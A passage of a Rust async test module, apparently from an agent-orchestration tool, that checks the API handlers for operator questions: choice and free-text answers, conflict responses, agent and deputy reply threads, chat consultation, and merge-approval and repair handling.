13558                language: "ja".into(),
13559            });
13560            q.consult = Some(ask::ChatConsult {
13561                talk: "another-conversation".into(),
13562                at: jiff::Timestamp::now(),
13563            });
13564            fx.questions().put(&mut q).unwrap();
13565            let ui = Arc::new(Ui::new(
13566                fx.queue(),
13567                fx.questions(),
13568                fx.talks(),
13569                fx.runs(),
13570                fx.home.path().into(),
13571                std::path::PathBuf::from("."),
13572            ));
13573            let response = question_answer(
13574                State(ui.clone()),
13575                Path(q.id.clone()),
13576                Ok(Json(NewAnswer {
13577                    choice: Some(choice.into()),
13578                    text: None,
13579                    ..Default::default()
13580                })),
13581            )
13582            .await
13583            .unwrap();
13584            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13585            let disk = fx.questions().get(&q.id).unwrap();
13586            assert_eq!(disk.merge_target, q.merge_target);
13587            assert_eq!(disk.consult, q.consult);
13588            assert_eq!(disk.resolution().as_deref(), Some(choice));
13589            assert!(
13590                question_answer(
13591                    State(ui),
13592                    Path(q.id.clone()),
13593                    Ok(Json(NewAnswer {
13594                        choice: Some("merge".into()),
13595                        text: None,
13596                        ..Default::default()
13597                    }))
13598                )
13599                .await
13600                .is_err(),
13601                "an already settled decision cannot turn into merge approval"
13602            );
13603        }
13604    }
13605
13606    #[tokio::test]
13607    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13608        let fx = Fixture {
13609            home: TempDir::new().unwrap(),
13610            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13611        };
13612        let mut state = crate::land::tests::repair_state(true, true);
13613        state.status = RunStatus::Landing;
13614        state.parked = true;
13615        state.driver_exited = true;
13616        let mut task = Task::new(
13617            "Existing PR owner".into(),
13618            state.instruction.clone(),
13619            state.repo.clone(),
13620            Source::Human,
13621        );
13622        task.runs.push(state.id.clone());
13623        task.status = TaskStatus::Parked;
13624        fx.queue().put(&mut task).unwrap();
13625        let mut q = Question::new(
13626            state.id.clone(),
13627            crate::land::APPROVAL_NODE.into(),
13628            "land".into(),
13629            "Contested merge".into(),
13630            "Original evidence".into(),
13631            vec!["merge".into(), "hold".into()],
13632        );
13633        state.land_approval = Some(crate::run::LandApproval {
13634            question: q.id.clone(),
13635            head: "reviewed-head".into(),
13636        });
13637        state.save_under(fx.home.path()).unwrap();
13638        fx.questions().put(&mut q).unwrap();
13639        // A later repair answer on this old card supersedes this manual hold.
13640        task.hold_manual(Some("Pause this PR".into()));
13641        fx.queue().put(&mut task).unwrap();
13642        // POST directly, without a preceding GET: validation must see the
13643        // same durable upgrade that the card, CLI and chat see.
13644        let ui = Arc::new(Ui::new(
13645            fx.queue(),
13646            fx.questions(),
13647            fx.talks(),
13648            fx.runs(),
13649            fx.home.path().to_path_buf(),
13650            state.repo.clone(),
13651        ));
13652        let response = question_answer(
13653            State(ui),
13654            Path(q.id.clone()),
13655            Ok(Json(NewAnswer {
13656                choice: Some(crate::land::REPAIR.into()),
13657                text: None,
13658                ..Default::default()
13659            })),
13660        )
13661        .await
13662        .unwrap();
13663        assert_eq!(response.0.question.id, q.id);
13664        let upgraded = fx.questions().get(&q.id).unwrap();
13665        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13666        assert!(upgraded.detail.starts_with("Original evidence"));
13667        let claim = fx.queue().claim(&task.id).unwrap();
13668        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13669        assert!(
13670            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13671            "an existing driver keeps its claim"
13672        );
13673        drop(claim);
13674        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13675        let resumed = fx.queue().get(&task.id).unwrap();
13676        assert_eq!(
13677            resumed
13678                .resume_override
13679                .as_ref()
13680                .unwrap()
13681                .pinned_run
13682                .as_deref(),
13683            Some(state.id.as_str())
13684        );
13685        assert!(resumed.status.runnable());
13686        assert_eq!(resumed.instruction, task.instruction);
13687        assert_eq!(resumed.runs, task.runs);
13688        assert!(resumed.action_applied(&q.id));
13689        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13690        assert_eq!(fx.queue().list().len(), 1);
13691        assert_eq!(
13692            fx.queue().get(&task.id).unwrap().resume_override,
13693            resumed.resume_override
13694        );
13695        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13696        assert!(
13697            disk.merge_repairs.is_empty(),
13698            "only the claimed run driver may execute repair"
13699        );
13700        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13701    }
13702
13703    #[tokio::test]
13704    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13705        let fx = Fixture::start().await;
13706        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13707        let path = format!("/api/questions/{id}/answer");
13708
13709        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13710        assert_eq!(res.status, 200, "{}", res.body);
13711        let body = res.json();
13712        assert_eq!(body["status"], "answered");
13713        assert_eq!(body["answer"]["choice"], "Redis");
13714
13715        // Answered from the terminal in between the list and the tap: the UI
13716        // must be able to tell this from a bad request, so it can show the
13717        // recorded answer instead of an error.
13718        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13719        assert_eq!(again.status, 409, "{}", again.body);
13720        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13721    }
13722
13723    #[tokio::test]
13724    async fn fresh_api_answers_survive_task_inquiry_migration() {
13725        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13726        for migrate_first in [false, true] {
13727            let fx = Fixture::start().await;
13728            let mut task = Task::new(
13729                "work".into(),
13730                "work".into(),
13731                PathBuf::from("/repo/magi"),
13732                Source::Human,
13733            );
13734            task.runs.push("run-a".into());
13735            fx.queue().put(&mut task).unwrap();
13736            let mut q = Question::new(
13737                "run-a".into(),
13738                "implement".into(),
13739                "impl-A".into(),
13740                "Keep held?".into(),
13741                String::new(),
13742                vec!["hold".into()],
13743            );
13744            q.actions.insert("hold".into(), ChoiceAction::Hold);
13745            fx.questions().put(&mut q).unwrap();
13746            if migrate_first {
13747                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13748            }
13749            let response = fx
13750                .post(
13751                    &format!("/api/questions/{}/answer", q.id),
13752                    Some(r#"{"choice":"hold"}"#),
13753                )
13754                .await;
13755            assert_eq!(response.status, 200, "{}", response.body);
13756            for _ in 0..2 {
13757                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13758                let source = fx.questions().get(&q.id).unwrap();
13759                assert_eq!(source.resolution().as_deref(), Some("hold"));
13760                let decision = Outbox::at(fx.home.path())
13761                    .get(&q.id)
13762                    .unwrap()
13763                    .decision
13764                    .unwrap();
13765                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13766                assert_eq!(decision.source_answer_at, source.answered_at);
13767                assert_eq!(decision.status, Status::Queued);
13768            }
13769            assert_eq!(
13770                fx.post(
13771                    &format!("/api/questions/{}/answer", q.id),
13772                    Some(r#"{"choice":"hold"}"#)
13773                )
13774                .await
13775                .status,
13776                409
13777            );
13778        }
13779    }
13780
13781    #[tokio::test]
13782    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13783        let home = tempfile::tempdir().unwrap();
13784        let ui = delta_test_ui(home.path());
13785        let mut q = Question::new(
13786            "task".into(),
13787            crate::land::APPROVAL_NODE.into(),
13788            "land".into(),
13789            "Explain?".into(),
13790            String::new(),
13791            vec!["hold".into()],
13792        );
13793        q.deputy = Some(ask::Deputy::new("context".into()));
13794        ui.questions.put(&mut q).unwrap();
13795        let mut cfg = stub_config();
13796        cfg.daemon.max_deputies = 0;
13797        let mut status = crate::daemon::Status::new();
13798        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13799        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13800        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13801        let error = question_say(
13802            State(ui.clone()),
13803            Path(q.id.clone()),
13804            Ok(Json(NewSay {
13805                body: "Explain the findings".into(),
13806            })),
13807        )
13808        .await
13809        .unwrap_err();
13810        assert_eq!(
13811            error.text_reason,
13812            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13813        );
13814        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13815
13816        let mut text = Question::new(
13817            "task".into(),
13818            "ask".into(),
13819            "operator".into(),
13820            "Which name?".into(),
13821            String::new(),
13822            vec![],
13823        );
13824        ui.questions.put(&mut text).unwrap();
13825        let Json(view) = question_answer(
13826            State(ui.clone()),
13827            Path(text.id.clone()),
13828            Ok(Json(NewAnswer {
13829                choice: None,
13830                text: Some("chosen name".into()),
13831                ..Default::default()
13832            })),
13833        )
13834        .await
13835        .unwrap();
13836        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13837        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13838    }
13839
13840    #[tokio::test]
13841    async fn question_text_handler_admission_without_transport() {
13842        let home = tempfile::tempdir().unwrap();
13843        let ui = delta_test_ui(home.path());
13844        let mut q = Question::new(
13845            "task".into(),
13846            crate::land::APPROVAL_NODE.into(),
13847            "land".into(),
13848            "May this PR merge?".into(),
13849            String::new(),
13850            vec!["hold".into()],
13851        );
13852        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13853        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13854        ui.questions.put(&mut q).unwrap();
13855        let say = || {
13856            Ok(Json(NewSay {
13857                body: "Explain the findings".into(),
13858            }))
13859        };
13860        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13861            .await
13862            .unwrap_err();
13863        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13864        let response = rejected.into_response();
13865        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13866            .await
13867            .unwrap();
13868        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13869        assert_eq!(body["code"], "question_text_unavailable");
13870        assert_eq!(body["reason"], "deputy_exhausted");
13871        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13872        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13873        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13874        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13875            .await
13876            .unwrap();
13877        assert_eq!(view.text_delivery.state, "live");
13878        assert!(view.question.waiter.is_none());
13879        assert!(view.question.cwd.is_none());
13880        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13881        ui.questions.drop_lease(&q.id);
13882        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13883            .await
13884            .unwrap_err();
13885        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13886        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13887        let _ = question_answer(
13888            State(ui.clone()),
13889            Path(q.id.clone()),
13890            Ok(Json(NewAnswer {
13891                choice: Some("hold".into()),
13892                text: None,
13893                ..Default::default()
13894            })),
13895        )
13896        .await
13897        .unwrap();
13898        assert_eq!(
13899            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13900            Some("hold")
13901        );
13902    }
13903
13904    #[tokio::test]
13905    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13906        let fx = Fixture::start().await;
13907        let store = fx.questions();
13908        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13909        store
13910            .update(&id, |q| {
13911                q.node = crate::land::APPROVAL_NODE.to_owned();
13912                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13913                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13914                Ok(())
13915            })
13916            .unwrap();
13917        let path = format!("/api/questions/{id}/say");
13918        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13919        assert_eq!(refused.status, 422, "{}", refused.body);
13920        assert!(
13921            refused.json()["error"]
13922                .as_str()
13923                .unwrap()
13924                .contains("deputy_exhausted")
13925        );
13926        assert!(store.get(&id).unwrap().thread.is_empty());
13927
13928        // A final live deputy is usable even with no ordinary waiter/cwd.
13929        store.beat(&id, ask::WaiterKind::Deputy);
13930        let view = fx.get("/api/questions").await.json();
13931        assert_eq!(view[0]["text_delivery"]["state"], "live");
13932        let accepted = fx
13933            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13934            .await;
13935        assert_eq!(accepted.status, 200, "{}", accepted.body);
13936        let before = std::fs::read(store.path_of(&id)).unwrap();
13937
13938        // The recipient exits between rendering and sending. Rejection must
13939        // preserve previously accepted text, the answer and delivery cursor.
13940        store.drop_lease(&id);
13941        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13942        assert_eq!(refused.status, 422, "{}", refused.body);
13943        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13944        let held = fx
13945            .post(
13946                &format!("/api/questions/{id}/answer"),
13947                Some(r#"{"choice":"hold"}"#),
13948            )
13949            .await;
13950        assert_eq!(held.status, 200, "{}", held.body);
13951        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13952    }
13953
13954    #[tokio::test]
13955    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13956        let repo = tempfile::tempdir().unwrap();
13957        let mut cfg = stub_config();
13958        cfg.daemon.max_deputies = 0;
13959        std::fs::write(
13960            repo.path().join("magi.toml"),
13961            toml::to_string(&cfg).unwrap(),
13962        )
13963        .unwrap();
13964        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13965        let mut status = crate::daemon::Status::new();
13966        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13967        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13968        let id = ask(&fx, "Explain?", &["hold"]);
13969        fx.questions()
13970            .update(&id, |q| {
13971                q.node = crate::land::APPROVAL_NODE.into();
13972                q.deputy = Some(ask::Deputy::new("context".into()));
13973                q.deputy.as_mut().unwrap().agent = "stub".into();
13974                Ok(())
13975            })
13976            .unwrap();
13977        cfg.daemon.max_deputies = 1;
13978        std::fs::write(
13979            repo.path().join("magi.toml"),
13980            toml::to_string(&cfg).unwrap(),
13981        )
13982        .unwrap();
13983        let view = fx.get("/api/questions").await.json();
13984        assert_eq!(view[0]["deputies_enabled"], true);
13985        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13986        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13987        let res = fx
13988            .post(
13989                &format!("/api/questions/{id}/say"),
13990                Some(r#"{"body":"Please explain"}"#),
13991            )
13992            .await;
13993        assert_eq!(res.status, 422, "{}", res.body);
13994        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13995    }
13996
13997    #[tokio::test]
13998    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13999        let fx = Fixture::start().await;
14000        let id = ask(&fx, "No seat", &[]);
14001        let store = fx.questions();
14002        let before = std::fs::read(store.path_of(&id)).unwrap();
14003        let res = fx
14004            .post(
14005                &format!("/api/questions/{id}/say"),
14006                Some(r#"{"body":"hello"}"#),
14007            )
14008            .await;
14009        assert_eq!(res.status, 422, "{}", res.body);
14010        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14011        let res = fx
14012            .post(
14013                &format!("/api/questions/{id}/answer"),
14014                Some(r#"{"text":"hello"}"#),
14015            )
14016            .await;
14017        assert_eq!(res.status, 200, "{}", res.body);
14018        assert_eq!(
14019            store.get(&id).unwrap().resolution().as_deref(),
14020            Some("hello")
14021        );
14022    }
14023
14024    #[tokio::test]
14025    async fn saying_something_appends_a_turn_without_answering() {
14026        let fx = Fixture::start().await;
14027        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14028        fx.questions().beat(&id, ask::WaiterKind::Asker);
14029        let path = format!("/api/questions/{id}/say");
14030
14031        let res = fx
14032            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14033            .await;
14034        assert_eq!(res.status, 200, "{}", res.body);
14035        let body = res.json();
14036        assert_eq!(body["status"], "open", "talking back is not a decision");
14037        assert_eq!(body["answer"], Value::Null);
14038        assert_eq!(body["thread"][0]["who"], "operator");
14039        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14040        assert_eq!(body["waiting_on_agent"], true);
14041        // Still open, still counted, still exactly one question.
14042        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14043    }
14044
14045    #[tokio::test]
14046    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14047        let fx = Fixture::start().await;
14048        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14049
14050        let list = fx.get("/api/questions").await.json();
14051        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14052
14053        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14054        assert_eq!(res.status, 409, "{}", res.body);
14055        let q = fx.questions().get(&id).unwrap();
14056        assert!(q.status.open());
14057        assert!(q.consult.is_none());
14058    }
14059
14060    #[tokio::test]
14061    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14062        let fx = Fixture::start().await;
14063        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14064        let cfg = Config {
14065            agents: vec![crate::config::AgentSpec {
14066                id: "mock".to_owned(),
14067                kind: crate::config::AgentKind::Command,
14068                model: None,
14069                command: vec!["true".to_owned()],
14070                extra_args: Vec::new(),
14071                env: Default::default(),
14072                prompt_delivery: None,
14073                max_turn_secs: None,
14074            }],
14075            ..Config::default()
14076        };
14077        let talk = crate::talk::begin(
14078            &fx.talks(),
14079            &cfg,
14080            fx.home.path().to_path_buf(),
14081            Some("mock"),
14082        )
14083        .unwrap();
14084        let mut task = Task::new(
14085            "t".to_owned(),
14086            "Do it".to_owned(),
14087            PathBuf::from("/repo/magi"),
14088            Source::Agent {
14089                run: talk.id.clone(),
14090                node: crate::queue::CHAT_NODE.to_owned(),
14091            },
14092        );
14093        task.start("20260902-000000-beef".to_owned());
14094        fx.queue().put(&mut task).unwrap();
14095
14096        let list = fx.get("/api/questions").await.json();
14097        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14098        assert_eq!(
14099            list[0]["choices"],
14100            serde_json::json!(["SQLite", "Redis"]),
14101            "the hand-over is never a choice"
14102        );
14103        fx.questions()
14104            .update(&id, |q| {
14105                q.node = crate::land::APPROVAL_NODE.into();
14106                q.choices = vec!["merge".into(), "hold".into()];
14107                Ok(())
14108            })
14109            .unwrap();
14110        let list = fx.get("/api/questions").await.json();
14111        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14112        assert_eq!(list[0]["can_consult_chat"], true);
14113        fx.questions()
14114            .update(&id, |q| {
14115                q.node = crate::bump::NOTICE_NODE.into();
14116                Ok(())
14117            })
14118            .unwrap();
14119        let list = fx.get("/api/questions").await.json();
14120        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14121        assert_eq!(list[0]["can_consult_chat"], false);
14122    }
14123
14124    #[tokio::test]
14125    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14126        let fx = Fixture::start().await;
14127        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14128        fx.questions()
14129            .update(&id, |q| {
14130                q.node = crate::land::APPROVAL_NODE.into();
14131                q.choices = vec!["merge".into(), "hold".into()];
14132                Ok(())
14133            })
14134            .unwrap();
14135        let cfg = Config {
14136            agents: vec![crate::config::AgentSpec {
14137                id: "mock".to_owned(),
14138                kind: crate::config::AgentKind::Command,
14139                model: None,
14140                command: vec!["true".to_owned()],
14141                extra_args: Vec::new(),
14142                env: Default::default(),
14143                prompt_delivery: None,
14144                max_turn_secs: None,
14145            }],
14146            ..Config::default()
14147        };
14148        // Not a git working tree, so its `magi.toml` is read from disk.
14149        let repo = fx.home.path().join("chat-repo");
14150        std::fs::create_dir_all(&repo).unwrap();
14151        let toml = repo.join("magi.toml");
14152        std::fs::write(&toml, "this is = = not toml").unwrap();
14153        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14154        let mut task = Task::new(
14155            "t".to_owned(),
14156            "Do it".to_owned(),
14157            PathBuf::from("/repo/magi"),
14158            Source::Agent {
14159                run: talk.id.clone(),
14160                node: crate::queue::CHAT_NODE.to_owned(),
14161            },
14162        );
14163        task.start("20260902-000000-beef".to_owned());
14164        fx.queue().put(&mut task).unwrap();
14165
14166        let path = format!("/api/questions/{id}/consult");
14167        let res = fx.post(&path, None).await;
14168        assert!(res.status >= 400, "{}", res.body);
14169        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14170        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14171
14172        std::fs::write(&toml, "").unwrap();
14173        let res = fx.post(&path, None).await;
14174        assert_eq!(res.status, 202, "{}", res.body);
14175        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14176        let q = fx.questions().get(&id).unwrap();
14177        assert!(q.status.open());
14178        assert!(q.answer.is_none());
14179        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14180        assert_eq!(res.json()["can_consult_chat"], true);
14181        let list = fx.get("/api/questions").await.json();
14182        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14183        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14184
14185        let res = fx
14186            .post(
14187                &format!("/api/questions/{id}/answer"),
14188                Some(r#"{"choice":"hold"}"#),
14189            )
14190            .await;
14191        assert_eq!(res.status, 200, "{}", res.body);
14192        assert_eq!(res.json()["answer"]["choice"], "hold");
14193        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14194        assert_eq!(res.json()["can_consult_chat"], false);
14195        assert_eq!(fx.post(&path, None).await.status, 409);
14196
14197        let mut talk = fx.talks().get(&talk.id).unwrap();
14198        // This test closes the history view, not an unconsumed consultation.
14199        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14200        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14201        let list = fx.get("/api/questions").await.json();
14202        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14203        assert_eq!(list[0]["origin_chat_closed"], true);
14204        assert_eq!(list[0]["can_consult_chat"], false);
14205
14206        fx.talks().remove(&talk.id).unwrap();
14207        let list = fx.get("/api/questions").await.json();
14208        assert_eq!(list[0]["origin_chat"], Value::Null);
14209        assert_eq!(list[0]["origin_chat_closed"], false);
14210        assert_eq!(list[0]["can_consult_chat"], false);
14211    }
14212
14213    #[tokio::test]
14214    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14215        let fx = Fixture::start().await;
14216        let store = fx.questions();
14217        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14218        store.beat(&id, ask::WaiterKind::Asker);
14219        assert_eq!(
14220            fx.get("/api/health").await.json()["questions_needs_owner"],
14221            1
14222        );
14223
14224        // The owner asks back instead of deciding: the ask bar, the nav badge
14225        // and the title must stop naming this question, because there is
14226        // nothing to decide until the agent answers - `status` alone cannot
14227        // say that, which is the whole reason `questions_needs_owner` exists
14228        // alongside `questions_open`.
14229        let res = fx
14230            .post(
14231                &format!("/api/questions/{id}/say"),
14232                Some(r#"{"body":"why not Postgres?"}"#),
14233            )
14234            .await;
14235        assert_eq!(res.status, 200, "{}", res.body);
14236        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14237        assert_eq!(
14238            fx.get("/api/health").await.json()["questions_needs_owner"],
14239            0,
14240            "waiting on the agent is not waiting on the owner"
14241        );
14242
14243        // `magi ask --thread` replying is what brings the owner count back -
14244        // the same event that would resume the CLI call blocked in `magi
14245        // ask`.
14246        let mut q = store.get(&id).expect("get");
14247        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14248            .expect("reply");
14249        store.put(&mut q).expect("put");
14250        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14251        assert_eq!(
14252            fx.get("/api/health").await.json()["questions_needs_owner"],
14253            1,
14254            "the agent's reply is what should light the banner back up"
14255        );
14256    }
14257
14258    #[tokio::test]
14259    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14260        let fx = Fixture::start().await;
14261        let store = fx.questions();
14262
14263        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14264        let res = fx
14265            .post(
14266                &format!("/api/questions/{empty_id}/say"),
14267                Some(r#"{"body":"   "}"#),
14268            )
14269            .await;
14270        assert_eq!(res.status, 400, "{}", res.body);
14271
14272        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14273        let mut answered = store.get(&answered_id).expect("get");
14274        answered
14275            .answer(Answer::Choice("SQLite".to_owned()))
14276            .expect("answer");
14277        store.put(&mut answered).expect("put");
14278        let res = fx
14279            .post(
14280                &format!("/api/questions/{answered_id}/say"),
14281                Some(r#"{"body":"still there?"}"#),
14282            )
14283            .await;
14284        assert_eq!(res.status, 409, "{}", res.body);
14285
14286        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14287        let mut abandoned = store.get(&abandoned_id).expect("get");
14288        abandoned.abandon("timed out");
14289        store.put(&mut abandoned).expect("put");
14290        let res = fx
14291            .post(
14292                &format!("/api/questions/{abandoned_id}/say"),
14293                Some(r#"{"body":"still there?"}"#),
14294            )
14295            .await;
14296        assert_eq!(res.status, 409, "{}", res.body);
14297    }
14298
14299    #[tokio::test]
14300    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14301        let fx = Fixture::start().await;
14302        let questions = fx.questions();
14303        let mut q = Question::new(
14304            String::new(),
14305            crate::bump::NOTICE_NODE.into(),
14306            "release-watch".into(),
14307            "Release PR approval".into(),
14308            "Saved head".into(),
14309            vec!["merge".into(), "hold".into()],
14310        );
14311        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14312        q.merge_target = Some(crate::merge_decision::Target {
14313            pr: "https://example.test/mebae/pull/100".into(),
14314            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14315            language: "en".into(),
14316        });
14317        q.answer(Answer::Choice("merge".into())).unwrap();
14318        q.answer_delivered = true;
14319        questions.put(&mut q).unwrap();
14320        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14321        std::fs::create_dir_all(&dir).unwrap();
14322        std::fs::write(
14323            dir.join("state.json"),
14324            serde_json::to_vec(&serde_json::json!({
14325                "schema": 1, "sources": [q.id], "pending": [q.id]
14326            }))
14327            .unwrap(),
14328        )
14329        .unwrap();
14330        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14331        for migrated in [false, true] {
14332            if migrated {
14333                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14334            }
14335            for endpoint in ["/api/questions", "/api/questions/core"] {
14336                let response = fx.get(endpoint).await;
14337                assert_eq!(response.status, 200);
14338                let rows = response.json();
14339                let row = rows
14340                    .as_array()
14341                    .unwrap()
14342                    .iter()
14343                    .find(|r| r["id"] == q.id)
14344                    .unwrap();
14345                assert_eq!(row["status"], "answered");
14346                assert_eq!(row["answer"]["choice"], "merge");
14347                assert_eq!(row["can_answer"], false);
14348                assert_eq!(row["history_only"], true);
14349            }
14350            let answer = fx
14351                .post(
14352                    &format!("/api/questions/{}/answer", q.id),
14353                    Some(r#"{"choice":"merge"}"#),
14354                )
14355                .await;
14356            assert_eq!(answer.status, 409, "{}", answer.body);
14357            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14358        }
14359    }
14360
14361    #[tokio::test]
14362    async fn an_answer_the_question_does_not_offer_is_refused() {
14363        let fx = Fixture::start().await;
14364        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14365        let path = format!("/api/questions/{id}/answer");
14366
14367        for body in [
14368            r#"{"choice":"Postgres"}"#,
14369            r#"{"text":"whatever you think"}"#,
14370            r#"{"choice":"Redis","text":"both"}"#,
14371            r#"{}"#,
14372        ] {
14373            let res = fx.post(&path, Some(body)).await;
14374            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14375            assert!(res.json()["error"].is_string(), "{}", res.body);
14376        }
14377        // Nothing above may have answered it.
14378        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14379    }
14380
14381    #[tokio::test]
14382    async fn a_free_text_question_takes_text_and_not_a_choice() {
14383        let fx = Fixture::start().await;
14384        let id = ask(&fx, "What should the flag be called?", &[]);
14385        fx.questions().beat(&id, ask::WaiterKind::Asker);
14386        let path = format!("/api/questions/{id}/answer");
14387
14388        assert_eq!(
14389            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14390            400
14391        );
14392        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14393        assert_eq!(res.status, 200, "{}", res.body);
14394        assert_eq!(res.json()["answer"]["text"], "--json");
14395    }
14396
14397    #[tokio::test]
14398    async fn an_unknown_question_is_a_json_404() {
14399        let fx = Fixture::start().await;
14400        let res = fx
14401            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14402            .await;
14403        assert_eq!(res.status, 404, "{}", res.body);
14404        assert!(res.json()["error"].is_string());
14405    }
14406
14407    #[tokio::test]
14408    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14409        let fx = Fixture::start().await;
14410        let questions = Questions::at(fx.home.path().join("questions"));
14411        let store = Notices::at(fx.home.path().join("notifications"));
14412        let mut q = ask::Question::new(
14413            "t1".into(),
14414            "conduct".into(),
14415            "conductor".into(),
14416            "Continue?".into(),
14417            String::new(),
14418            Vec::new(),
14419        );
14420        questions.put(&mut q).unwrap();
14421        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14422        n.covered_by = Some(q.id.clone());
14423        let n = store.raise(n).unwrap();
